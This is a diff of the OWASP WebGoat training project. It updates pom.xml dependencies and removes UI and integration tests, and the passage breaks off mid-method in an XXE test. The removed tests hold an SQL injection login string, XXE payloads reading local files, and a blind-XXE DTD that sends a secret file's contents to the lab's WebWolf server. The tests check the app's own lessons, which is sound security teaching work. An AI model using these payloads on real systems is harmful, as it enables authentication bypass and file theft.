<version>2025.4-SNAPSHOT</version>
<packaging>jar</packaging>
<name>WebGoat</name>
@ -27,14 +27,8 @@
<url>https://www.gnu.org/licenses/gpl-2.0.txt</url>
</license>
</licenses>
<developers>
<developer>
<id>mayhew64</id>
<name>Bruce Mayhew</name>
<email>webgoat@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/WebGoat/WebGoat</organizationUrl>
</developer>
<developer>
<id>nbaars</id>
<name>Nanne Baars</name>
@ -42,11 +36,6 @@
<organizationUrl>https://github.com/nbaars</organizationUrl>
<timezone>Europe/Amsterdam</timezone>
</developer>
<developer>
<id>misfir3</id>
<name>Jason White</name>
<email>jason.white@owasp.org</email>
</developer>
<developer>
<id>zubcevic</id>
<name>René Zubcevic</name>
@ -57,44 +46,8 @@
<name>Àngel Ollé Blázquez</name>
<email>angel@olleb.com</email>
</developer>
<developer>
<id>jwayman</id>
<name>Jeff Wayman</name>
<email></email>
</developer>
<developer>
<id>dcowden</id>
<name>Dave Cowden</name>
<email></email>
</developer>
<developer>
<id>lawson89</id>
<name>Richard Lawson</name>
<email></email>
</developer>
<developer>
<id>dougmorato</id>
<name>Doug Morato</name>
<email>doug.morato@owasp.org</email>
<organization>OWASP</organization>
<organizationUrl>https://github.com/dougmorato</organizationUrl>
<timezone>America/New_York</timezone>
<properties>
<picUrl>https://avatars2.githubusercontent.com/u/9654?v=3&amp;s=150</picUrl>
</properties>
</developer>
</developers>
<mailingLists>
<mailingList>
<name>OWASP WebGoat Mailing List</name>
<subscribe>https://lists.owasp.org/mailman/listinfo/owasp-webgoat</subscribe>
<unsubscribe>Owasp-webgoat-request@lists.owasp.org</unsubscribe>
<post>owasp-webgoat@lists.owasp.org</post>
<archive>http://lists.owasp.org/pipermail/owasp-webgoat/</archive>
</mailingList>
</mailingLists>
<scm>
<connection>scm:git:git@github.com:WebGoat/WebGoat.git</connection>
<developerConnection>scm:git:git@github.com:WebGoat/WebGoat.git</developerConnection>
@ -108,59 +61,61 @@
</issueManagement>
<properties>
<!-- Shared properties with plugins and version numbers across submodules-->
<asciidoctorj.version>2.5.3</asciidoctorj.version>
<bootstrap.version>3.3.7</bootstrap.version>
<cglib.version>2.2</cglib.version>
<asciidoctorj.version>3.0.0</asciidoctorj.version>
<bootstrap.version>5.3.5</bootstrap.version>
<cglib.version>3.3.0</cglib.version>
<!-- do not update necessary for lesson -->
<checkstyle.version>3.1.2</checkstyle.version>
<checkstyle.version>3.6.0</checkstyle.version>
<commons-collections.version>3.2.1</commons-collections.version>
<commons-io.version>2.6</commons-io.version>
<commons-lang3.version>3.12.0</commons-lang3.version>
<commons-text.version>1.9</commons-text.version>
<guava.version>30.1-jre</guava.version>
<java.version>17</java.version>
<commons-compress.version>1.27.1</commons-compress.version>
<commons-io.version>2.19.0</commons-io.version>
<commons-lang3.version>3.14.0</commons-lang3.version>
<commons-text.version>1.13.1</commons-text.version>
<guava.version>33.4.8-jre</guava.version>
<jacoco.version>0.8.11</jacoco.version>
<java.version>23</java.version>
<jaxb.version>2.3.1</jaxb.version>
<jjwt.version>0.9.1</jjwt.version>
<jose4j.version>0.7.6</jose4j.version>
<jquery.version>3.5.1</jquery.version>
<jsoup.version>1.14.3</jsoup.version>
<maven-compiler-plugin.version>3.8.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>2.22.0</maven-failsafe-plugin.version>
<jose4j.version>0.9.3</jose4j.version>
<jquery.version>3.7.1</jquery.version>
<jsoup.version>1.19.1</jsoup.version>
<maven-compiler-plugin.version>3.14.0</maven-compiler-plugin.version>
<maven-failsafe-plugin.version>3.5.2</maven-failsafe-plugin.version>
<maven-jar-plugin.version>3.1.2</maven-jar-plugin.version>
<maven-javadoc-plugin.version>3.1.1</maven-javadoc-plugin.version>
<maven-source-plugin.version>3.1.0</maven-source-plugin.version>
<maven-surefire-plugin.version>3.0.0-M5</maven-surefire-plugin.version>
<maven.compiler.source>17</maven.compiler.source>
<maven.compiler.target>17</maven.compiler.target>
<maven-surefire-plugin.version>3.5.3</maven-surefire-plugin.version>
<maven.compiler.proc>full</maven.compiler.proc>
<maven.compiler.source>23</maven.compiler.source>
<maven.compiler.target>23</maven.compiler.target>
<pmd.version>3.15.0</pmd.version>
<!-- Use UTF-8 Encoding -->
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<thymeleaf.version>3.0.15.RELEASE</thymeleaf.version>
<webdriver.version>4.3.1</webdriver.version>
<thymeleaf.version>3.1.2.RELEASE</thymeleaf.version>
<waittimeForServerStart>60</waittimeForServerStart>
<webdriver.version>6.0.1</webdriver.version>
<webgoat.context>/WebGoat</webgoat.context>
<webgoat.port>8080</webgoat.port>
<webgoat.sslenabled>false</webgoat.sslenabled>
<webjars-locator-core.version>0.59</webjars-locator-core.version>
<webwolf.context>/WebWolf</webwolf.context>
<webwolf.port>9090</webwolf.port>
<wiremock.version>2.27.2</wiremock.version>
<wiremock.version>3.13.0</wiremock.version>
<xml-resolver.version>1.2</xml-resolver.version>
<xstream.version>1.4.5</xstream.version>
<!-- do not update necessary for lesson -->
<zxcvbn.version>1.5.2</zxcvbn.version>
<zxcvbn.version>1.9.0</zxcvbn.version>
</properties>
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>9.1</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-exec</artifactId>
<version>1.3</version>
<version>1.4.0</version>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
@ -198,6 +153,17 @@
<artifactId>jjwt</artifactId>
<version>${jjwt.version}</version>
</dependency>
<dependency>
<groupId>com.auth0</groupId>
<artifactId>jwks-rsa</artifactId>
<version>0.22.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
<version>4.5.0</version>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
@ -229,8 +195,13 @@
<version>${jquery.version}</version>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
<version>${webjars-locator-core.version}</version>
</dependency>
<dependency>
<groupId>org.wiremock</groupId>
<artifactId>wiremock-standalone</artifactId>
<version>${wiremock.version}</version>
</dependency>
<dependency>
@ -241,16 +212,20 @@
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-compress</artifactId>
<version>1.21</version>
<version>${commons-compress.version}</version>
</dependency>
<dependency>
<groupId>org.jruby</groupId>
<artifactId>jruby</artifactId>
<version>9.3.6.0</version>
<version>10.0.0.1</version>
</dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<version>1.51.0</version>
</dependency>
</dependencies>
</dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
@ -263,26 +238,18 @@
<dependency>
<groupId>org.projectlombok</groupId>
<artifactId>lombok</artifactId>
<version>1.18.38</version>
<scope>provided</scope>
<optional>true</optional>
</dependency>
<dependency>
<groupId>javax.xml.bind</groupId>
<artifactId>jaxb-api</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-undertow</artifactId>
<version>${jaxb.version}</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
@ -292,6 +259,10 @@
<groupId>org.flywaydb</groupId>
<artifactId>flyway-core</artifactId>
</dependency>
<dependency>
<groupId>org.flywaydb</groupId>
<artifactId>flyway-database-hsqldb</artifactId>
</dependency>
<dependency>
<groupId>org.asciidoctor</groupId>
<artifactId>asciidoctorj</artifactId>
@ -308,9 +279,17 @@
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-oauth2-client</artifactId>
</dependency>
<dependency>
<groupId>org.thymeleaf.extras</groupId>
<artifactId>thymeleaf-extras-springsecurity5</artifactId>
<artifactId>thymeleaf-extras-springsecurity6</artifactId>
</dependency>
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
</dependency>
<dependency>
<groupId>org.hsqldb</groupId>
@ -340,6 +319,15 @@
<groupId>io.jsonwebtoken</groupId>
<artifactId>jjwt</artifactId>
</dependency>
<dependency>
<groupId>com.auth0</groupId>
<artifactId>jwks-rsa</artifactId>
</dependency>
<!-- https://mvnrepository.com/artifact/com.auth0/java-jwt -->
<dependency>
<groupId>com.auth0</groupId>
<artifactId>java-jwt</artifactId>
</dependency>
<dependency>
<groupId>com.google.guava</groupId>
<artifactId>guava</artifactId>
@ -369,8 +357,23 @@
<artifactId>jquery</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish.jaxb</groupId>
<artifactId>jaxb-runtime</artifactId>
<groupId>org.webjars</groupId>
<artifactId>webjars-locator-core</artifactId>
</dependency>
<dependency>
<groupId>jakarta.xml.bind</groupId>
<artifactId>jakarta.xml.bind-api</artifactId>
</dependency>
<dependency>
<groupId>com.sun.xml.bind</groupId>
<artifactId>jaxb-impl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>com.github.terma</groupId>
<artifactId>javaniotcpproxy</artifactId>
<version>1.6</version>
<scope>test</scope>
</dependency>
<dependency>
@ -384,15 +387,24 @@
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.github.tomakehurst</groupId>
<artifactId>wiremock</artifactId>
<scope>test</scope>
<groupId>org.wiremock</groupId>
<artifactId>wiremock-standalone</artifactId>
</dependency>
<dependency>
<groupId>io.rest-assured</groupId>
<artifactId>rest-assured</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>com.microsoft.playwright</groupId>
<artifactId>playwright</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-properties-migrator</artifactId>
<scope>runtime</scope>
</dependency>
</dependencies>
<repositories>
@ -461,11 +473,20 @@
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-failsafe-plugin</artifactId>
<configuration>
<environmentVariables>
<WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
<WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
<WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
<WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
<WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
<WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
<WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
</environmentVariables>
<systemPropertyVariables>
<logback.configurationFile>${basedir}/src/test/resources/logback-test.xml</logback.configurationFile>
</systemPropertyVariables>
<argLine>-Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port}</argLine>
<includes>org/owasp/webgoat/*Test</includes>
<argLine>-Xmx512m</argLine>
<includes>org/owasp/webgoat/integration/*Test, org/owasp/webgoat/playwright/**/*Test</includes>
</configuration>
<executions>
<execution>
@ -487,14 +508,16 @@
<artifactId>maven-surefire-plugin</artifactId>
<version>${maven-surefire-plugin.version}</version>
<configuration>
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED</argLine>
<forkedProcessTimeoutInSeconds>600</forkedProcessTimeoutInSeconds>
<!-- Necessary for vulnerable components lesson -->
<argLine>--enable-native-access=ALL-UNNAMED --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
--add-opens=java.base/sun.nio.ch=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED</argLine>
<excludes>
<exclude>**/*IntegrationTest.java</exclude>
<exclude>src/it/java</exclude>
<exclude>org/owasp/webgoat/*Test</exclude>
<exclude>**/*UITest.java</exclude>
</excludes>
</configuration>
</plugin>
@ -503,7 +526,6 @@
<artifactId>maven-checkstyle-plugin</artifactId>
<version>${checkstyle.version}</version>
<configuration>
<encoding>UTF-8</encoding>
<consoleOutput>true</consoleOutput>
<failsOnError>true</failsOnError>
<configLocation>config/checkstyle/checkstyle.xml</configLocation>
@ -514,9 +536,18 @@
<plugin>
<groupId>com.diffplug.spotless</groupId>
<artifactId>spotless-maven-plugin</artifactId>
<version>2.29.0</version>
<version>2.44.4</version>
<configuration>
<formats>
<format>
<includes>
<include>src/**/*.java</include>
</includes>
<licenseHeader>
<file>${project.basedir}/config/license-headers/java</file>
<delimiter>(package|import)</delimiter>
</licenseHeader>
</format>
<format>
<includes>
<include>.gitignore</include>
@ -575,7 +606,7 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-enforcer-plugin</artifactId>
<version>3.0.0</version>
<version>3.5.0</version>
<executions>
<execution>
<id>restrict-log4j-versions</id>
@ -599,10 +630,6 @@
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>17</source>
<target>17</target>
</configuration>
</plugin>
</plugins>
</build>
@ -632,16 +659,15 @@
<portNames>
<portName>webgoat.port</portName>
<portName>webwolf.port</portName>
<portName>jmxPort</portName>
</portNames>
</configuration>
</execution>
</executions>
</plugin>
<plugin>
<groupId>com.bazaarvoice.maven.plugins</groupId>
<groupId>org.honton.chas</groupId>
<artifactId>process-exec-maven-plugin</artifactId>
<version>0.9</version>
<version>0.9.2</version>
<executions>
<execution>
<id>start-jar</id>
@ -649,8 +675,18 @@
<goal>start</goal>
</goals>
<phase>pre-integration-test</phase>
<configuration>
<workingDir>${project.build.directory}</workingDir>
<environment>
<WEBGOAT_SSLENABLED>${webgoat.sslenabled}</WEBGOAT_SSLENABLED>
<WEBGOAT_HOST>127.0.0.1</WEBGOAT_HOST>
<WEBGOAT_PORT>${webgoat.port}</WEBGOAT_PORT>
<WEBGOAT_CONTEXT>${webgoat.context}</WEBGOAT_CONTEXT>
<WEBWOLF_HOST>127.0.0.1</WEBWOLF_HOST>
<WEBWOLF_PORT>${webwolf.port}</WEBWOLF_PORT>
<WEBWOLF_CONTEXT>${webwolf.context}</WEBWOLF_CONTEXT>
</environment>
<arguments>
<argument>java</argument>
<argument>-jar</argument>
@ -658,8 +694,7 @@
<argument>-Dwebgoat.server.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dwebgoat.user.directory=${java.io.tmpdir}/webgoat_${webgoat.port}</argument>
<argument>-Dspring.main.banner-mode=off</argument>
<argument>-Dwebgoat.port=${webgoat.port}</argument>
<argument>-Dwebwolf.port=${webwolf.port}</argument>
<argument>--enable-native-access=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.lang=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
@ -667,12 +702,8 @@
<argument>--add-opens</argument>
<argument>java.base/java.lang.reflect=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.text=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.beans=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.desktop/java.awt.font=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/sun.nio.ch=ALL-UNNAMED</argument>
<argument>--add-opens</argument>
<argument>java.base/java.io=ALL-UNNAMED</argument>
@ -681,7 +712,8 @@
<argument>${project.build.directory}/webgoat-${project.version}.jar</argument>
</arguments>
<waitForInterrupt>false</waitForInterrupt>
<healthcheckUrl>http://localhost:${webgoat.port}/WebGoat/actuator/health</healthcheckUrl>
<waitAfterLaunch>${waittimeForServerStart}</waitAfterLaunch>
<healthCheckUrl>http://127.0.0.1:${webgoat.port}${webgoat.context}/login</healthCheckUrl>
</configuration>
</execution>
<execution>
@ -706,7 +738,6 @@
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>6.5.1</version>
<configuration>
<failBuildOnCVSS>7</failBuildOnCVSS>
<skipProvidedScope>false</skipProvidedScope>
@ -727,6 +758,81 @@
</plugins>
</build>
</profile>
<profile>
<!-- run with: mvn test -Pcoverage -->
<id>coverage</id>
<activation>
<activeByDefault>false</activeByDefault>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>${maven-surefire-plugin.version}</version>
<configuration>
<argLine>--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED
--add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED
${surefire.jacoco.args}</argLine>
<excludes>
<exclude>**/*IntegrationTest.java</exclude>
<exclude>src/it/java</exclude>
<exclude>org/owasp/webgoat/*Test</exclude>
</excludes>
</configuration>
</plugin>
<plugin>
<groupId>org.jacoco</groupId>
<artifactId>jacoco-maven-plugin</artifactId>
<executions>
<execution>
<id>before-unit-test</id>
<goals>
<goal>prepare-agent</goal>
</goals>
<configuration>
<destFile>${project.build.directory}/jacoco/jacoco-ut.exec</destFile>
<propertyName>surefire.jacoco.args</propertyName>
</configuration>
</execution>
<execution>
<id>check</id>
<goals>
<goal>check</goal>
</goals>
<configuration>
<rules>
<rule>
<element>BUNDLE</element>
<limits>
<limit>
<counter>CLASS</counter>
<value>COVEREDCOUNT</value>
<minimum>0.6</minimum>
</limit>
</limits>
</rule>
</rules>
<dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
</configuration>
</execution>
<execution>
<id>after-unit-test</id>
<goals>
<goal>report</goal>
</goals>
<phase>test</phase>
<configuration>
<dataFile>${project.build.directory}/jacoco/jacoco-ut.exec</dataFile>
<outputDirectory>${project.reporting.outputDirectory}/jacoco-unit-test-coverage-report</outputDirectory>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
</profile>
</profiles>
</project>

View File

@ -1,19 +0,0 @@
# Install and use Robotframework
## Install Chromedriver on Mac OS
brew install cask chromedriver
chromedriver --version
Then see security settings and allow the file to run
## Install
pip3 install virtualenv --user
python3 -m virtualenv .venv
source .venv/bin/activate
pip install robotframework
pip install robotframework-SeleniumLibrary
pip install webdriver-manager
robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot

View File

@ -1,101 +0,0 @@
*** Settings ***
Documentation Setup WebGoat Robotframework tests
Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot
Library String
Suite Setup Initial_Page ${ENDPOINT} ${BROWSER}
Suite Teardown Close_Page
*** Variables ***
${BROWSER} chrome
${SLEEP} 100
${DELAY} 0.25
${ENDPOINT} http://127.0.0.1:8080/WebGoat
${ENDPOINT_WOLF} http://127.0.0.1:9090
${USERNAME} robotuser
${PASSWORD} password
${HEADLESS} ${FALSE}
*** Keywords ***
Initial_Page
[Documentation] Check the inital page
[Arguments] ${ENDPOINT} ${BROWSER}
Log To Console Start WebGoat UI Testing
IF ${HEADLESS}
Open Browser ${ENDPOINT} ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
ELSE
Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat
END
IF ${HEADLESS}
Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
ELSE
Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf
END
Switch Browser webgoat
Maximize Browser Window
Set Window Size ${1400} ${1000}
Switch Browser webwolf
Maximize Browser Window
Set Window Size ${1400} ${1000}
Set Window Position ${400} ${200}
Set Selenium Speed ${DELAY}
Close_Page
[Documentation] Closing the browser
Log To Console ==> Stop WebGoat UI Testing
IF ${HEADLESS}
Switch Browser webgoat
Close Browser
Switch Browser webwolf
Close Browser
END
*** Test Cases ***
Check_Initial_Page
Switch Browser webgoat
Page Should Contain Username
Click Button Sign in
Page Should Contain Invalid username
Click Link /WebGoat/registration
Check_Registration_Page
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Input Text matchingPassword ${PASSWORD}
Click Element agree
Click Button Sign up
Check_Welcome_Page
Page Should Contain WebGoat
Go To ${ENDPOINT}/login
Page Should Contain Username
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign in
Page Should Contain WebGoat
Check_Menu_Page
Click Element css=a[category='Introduction']
Click Element Introduction-WebGoat
CLick Element Introduction-WebWolf
Click Element css=a[category='General']
CLick Element General-HTTPBasics
Click Element xpath=//*[.='2']
Input Text person ${USERNAME}
Click Button Go!
${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')]
${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}"""
IF not ${OUT_RESULT}
Fail "not ok"
END
Check_WebWolf
Switch Browser webwolf
location should be ${ENDPOINT_WOLF}/WebWolf
Go To ${ENDPOINT_WOLF}/mail
Input Text username ${USERNAME}
Input Text password ${PASSWORD}
Click Button Sign In

View File

@ -1,110 +0,0 @@
package org.owasp.webgoat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
public void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(url("/WebGoat/challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/1");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Admin lost password"));
}
@Test
public void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url("/WebGoat/challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(url("/WebGoat/challenge/flag"), params, true);
checkResults("/challenge/5");
List<String> capturefFlags =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/scoreboard-data"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"" + this.getUser() + "\" }.flagsCaptured");
assertTrue(capturefFlags.contains("Without password"));
}
}

View File

@ -0,0 +1,40 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat;
public record ServerUrlConfig(String host, String port, String contextPath) {
public ServerUrlConfig {
contextPath = contextPath.replaceAll("/", "");
}
public String getBaseUrl() {
return "http://%s:%s".formatted(host, port);
}
public String url(String path) {
return "%s/%s".formatted(getFullUrl(), path);
}
private String getFullUrl() {
return "http://%s:%s/%s".formatted(host, port, contextPath);
}
public static ServerUrlConfig webGoat() {
return new ServerUrlConfig(
"localhost", env("WEBGOAT_PORT", "8080"), env("WEBGOAT_CONTEXT", "WebGoat"));
}
public static ServerUrlConfig webWolf() {
return new ServerUrlConfig(
"localhost", env("WEBWOLF_PORT", "9090"), env("WEBWOLF_CONTEXT", "WebWolf"));
}
private static String env(String variableName, String defaultValue) {
return System.getenv().getOrDefault(variableName, "").isEmpty()
? defaultValue
: System.getenv(variableName);
}
}

View File

@ -1,45 +0,0 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2021 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source
* ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat;
import java.util.Map;
import org.junit.jupiter.api.Test;
/**
* @author Angel Olle Blazquez
*/
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "/WebGoat/HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@ -1,126 +0,0 @@
package org.owasp.webgoat;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
private String webWolfFileServerLocation;
/*
* This test is to verify that all is secure when XXE security patch is applied.
*/
@Test
public void xxeSecure() throws IOException {
startLesson("XXE");
webGoatHomeDirectory = webGoatServerDirectory();
webWolfFileServerLocation = getWebWolfFileServerLocation();
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/enable-security.mvc"))
.then()
.statusCode(200);
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
checkAssignment(
url("/WebGoat/xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
false);
}
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
* @throws IOException
*/
private String getSecret() throws IOException {
// remove any left over DTD
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
}
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String dtd7String =
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
